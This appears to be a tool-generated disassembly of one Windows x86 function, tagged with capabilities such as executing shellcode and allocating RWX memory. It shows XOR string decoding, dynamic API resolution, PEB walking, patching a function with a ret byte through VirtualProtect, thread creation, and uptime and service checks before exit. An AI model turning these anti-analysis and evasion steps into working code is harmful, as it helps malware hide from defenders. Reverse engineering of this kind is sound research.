Function at 0x571880
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Query service status
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov eax, dword [0x6e8da0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x64], 0
mov ecx, 0xe1
xor edx, edx
mov al, byte [edx + 0x6b1b00]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x100], al
and ecx, 0x800000ff
jns 0x5718c1
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x18
jl 0x5718a1
push ebx
push esi
mov eax, 0x6b1b1c
mov byte [ebp - 0xe8], 0
push edi
sub eax, 0x4680168
lea ecx, [ebp - 0xc4]
push eax
call fcn.00574ad0
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x100]
push ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push 0
push 4
lea ecx, [ebp - 0x64]
mov word [ebp - 0xbc], 0
push ecx
xorps xmm0, xmm0
mov byte [ebp - 0xe8], 0
push 9
push 0xfffffffffffffffe
movq qword [ebp - 0xc4], xmm0
movdqu xmmword [ebp - 0x100], xmm0
movq qword [ebp - 0xf0], xmm0
call eax
mov edi, dword [ebp - 0x64]
mov dword [ebp - 0x70], edi
cmp edi, 0x40000
je 0x572064
jmp 0x5719b1
mov ecx, 0x8e
xor edx, edx
jmp 0x5719c0
mov al, byte [edx + 0x6b1b50]
xor al, cl
inc ecx
mov byte [ebp + edx - 0xa0], al
and ecx, 0x800000ff
jns 0x5719e0
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x16
jl 0x5719c0
mov eax, 0x6b1b68
mov byte [ebp - 0x8a], 0
sub eax, 0x1c1a80b4
lea ecx, [ebp - 0xb8]
push eax
call fcn.00574b50
lea ecx, [ebp - 0xa0]
push ecx
push eax
call ebx
push eax
call esi
xorps xmm0, xmm0
mov word [ebp - 0xb0], 0
movq qword [ebp - 0xb8], xmm0
movdqu xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x90], 0
mov word [ebp - 0x8c], 0
mov byte [ebp - 0x8a], 0
jmp 0x571aac
push 0
push 0
push 0x11
push 0xfffffffffffffffe
call eax
jmp 0x571b1c
push 0x30
lea eax, [ebp - 0x144]
push 0
push eax
call fcn.005dfe60
mov ebx, dword [ebp - 0x130]
add esp, 0xc
test ebx, ebx
jne 0x571b4d
mov eax, dword fs:[0x18]
mov edi, dword [ebp - 0x64]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
jmp 0x571b53
mov eax, dword [ebp - 0x140]
movdqu xmm1, xmmword [eax + 8]
movdqu xmm0, xmmword [eax - 8]
psrldq xmm1, 8
movdqu xmmword [ebp - 0x148], xmm0
movdqu xmm0, xmmword [eax + 0x18]
mov eax, dword [eax + 0x28]
movd ebx, xmm1
movdqu xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x118], eax
test ebx, ebx
je 0x571bde
mov ecx, dword [ebx + 0x3c]
xor esi, esi
movzx eax, word [ecx + ebx + 6]
movzx edx, word [ecx + ebx + 0x14]
mov dword [ebp - 0x68], eax
test eax, eax
je 0x571b35
lea eax, [ecx + 0x24]
mov ecx, dword [ebp - 0x68]
add eax, ebx
add eax, edx
jmp 0x571bb0
test dword [eax + 0x18], 0x20000000
je 0x571bd1
mov edx, dword [eax]
add edx, ebx
cmp edx, edi
ja 0x571bd1
mov ecx, dword [eax - 4]
add ecx, edx
cmp edi, ecx
jb 0x572058
mov ecx, dword [ebp - 0x68]
inc esi
add eax, 0x28
cmp esi, ecx
jb 0x571bb0
jmp 0x571b35
jmp 0x571c44
jmp 0x571caa
jmp 0x571d10
jmp 0x571d76
mov ecx, 0x99
xor edx, edx
lea ecx, [ecx]
mov al, byte [edx + 0x6b1b30]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x114], al
and ecx, 0x800000ff
jns 0x571da0
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x10
jl 0x571d80
lea eax, [ebp - 0x114]
mov byte [ebp - 0x104], 0
push eax
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
test eax, eax
jne 0x572058
jmp 0x571e2f
jmp 0x571e95
jmp 0x571efb
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push 4
push edi
call esi
test eax, eax
je 0x571ff2
jmp 0x571f7a
mov eax, dword [ebp - 0x70]
mov byte [eax], 0xc3
jmp 0x571fe6
lea ecx, [ebp - 0xc]
push ecx
push dword [ebp - 0xc]
push 4
push eax
call esi
jmp 0x572058
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [0x8aae98]
lea edx, [ebp - 0x6b]
push dword [0x8aae94]
mov dword [ebp - 0x6c], eax
lea ecx, [ebp - 0x6c]
lea eax, [ebp - 0x69]
push eax
lea eax, [ebp - 0x6a]
push eax
call fcn.00569c40
add esp, 0xc
cmp byte [ebp - 0x6c], 0
jne 0x5721d5
jmp 0x5720f8
mov ecx, 0x36
xor edx, edx
nop
mov al, byte [edx + str.dCTx_jX_K_3]
xor al, cl
inc ecx
mov byte [ebp + edx - 0xe4], al
and ecx, 0x800000ff
jns 0x572120
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x1e
jl 0x572100
mov eax, 0x6b1c80
mov byte [ebp - 0xc6], 0
sub eax, 0x660068cd
lea ecx, [ebp - 0xac]
push eax
call fcn.00574f30
lea ecx, [ebp - 0xe4]
push ecx
push eax
call ebx
push eax
call esi
xorps xmm0, xmm0
mov word [ebp - 0xa4], 0
push 0x571490
push 1
movq qword [ebp - 0xac], xmm0
movdqu xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xcc], 0
movq qword [ebp - 0xd4], xmm0
mov word [ebp - 0xc8], 0
mov byte [ebp - 0xc6], 0
call eax
push 0
push 0
push 0
push 0x56ee20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push dword [0x8aae94]
mov edx, 0x8aae99
mov byte [0x8aae98], 1
push 0x8aae9b
push 0x8aae9a
mov ecx, 0x8aae98
call fcn.00569f80
add esp, 0xc
jmp 0x57223b
call 0x56edb0
jmp 0x5722a6
mov eax, dword [0x8aae88]
lea edx, [ebp - 0x67]
push dword [0x8aae84]
mov dword [ebp - 0x68], eax
lea ecx, [ebp - 0x68]
lea eax, [ebp - 0x65]
push eax
lea eax, [ebp - 0x66]
push eax
call fcn.00569c40
add esp, 0xc
cmp byte [ebp - 0x68], 0
jne 0x57275a
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x572340
jmp 0x5723a6
lea ecx, [ebp - 0x24]
push ecx
push ecx
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
jmp 0x572420
mov ebx, dword [ebp - 0x18]
xor eax, eax
or eax, dword [ebp - 0x1c]
mov dword [ebp - 0x70], eax
jmp 0x572491
jmp 0x5724f7
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
jmp 0x572567
jmp 0x5725cd
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
jmp 0x572641
mov eax, dword [ebp - 0x10]
xor ecx, ecx
or ecx, dword [ebp - 0x14]
jmp 0x5726af
jmp 0x572715
push 0
push 0x2710
push eax
push ecx
call fcn.005e2be0
push 0
push 0x2710
push ebx
push dword [ebp - 0x70]
mov edi, eax
mov esi, edx
call fcn.005e2be0
sub edi, eax
push 0
push 0x3e8
sbb esi, edx
push esi
push edi
call fcn.005e2be0
test edx, edx
jne 0x572855
cmp eax, 3
ja 0x572855
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x572842
mov edx, 0xbd
xor esi, esi
lea ebx, [ebx]
mov cl, byte [esi + 0x6b1a80]
xor cl, dl
inc edx
mov byte [ebp + esi - 0x88], cl
and edx, 0x800000ff
jns 0x5727a0
dec edx
or edx, 0xffffff00
inc edx
inc esi
cmp esi, 0xd
jl 0x572780
mov esi, dword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea eax, [ebp - 0x88]
push 0xf003f
push eax
push edi
mov byte [ebp - 0x7b], 0
call esi
mov dword [ebp - 0x80], 0
xorps xmm0, xmm0
movq qword [ebp - 0x88], xmm0
mov word [ebp - 0x7c], 0
test eax, eax
je 0x572842
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
lea ecx, [ebp - 8]
push ecx
push 0x24
lea ecx, [ebp - 0x60]
mov dword [ebp - 8], 0
push ecx
push 0
push eax
call ebx
test eax, eax
je 0x572842
cmp dword [ebp - 0x5c], 4
je 0x572870
push 0xf003f
push 0x5a607787
lea ecx, [ebp - 0x78]
call fcn.005748a0
push eax
push edi
call esi
mov esi, eax
xor eax, eax
mov dword [ebp - 0x78], eax
mov word [ebp - 0x74], ax
mov byte [ebp - 0x72], al
test esi, esi
je 0x572842
lea eax, [ebp - 8]
push eax
push 0x24
lea eax, [ebp - 0x60]
push eax
push 0
push esi
call ebx
test eax, eax
je 0x572842
cmp dword [ebp - 0x5c], 4
je 0x572864
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005dbda3
mov esp, ebp
pop ebp
ret 0xc
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0
call fcn.005e4842
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0
call fcn.005e4842
int3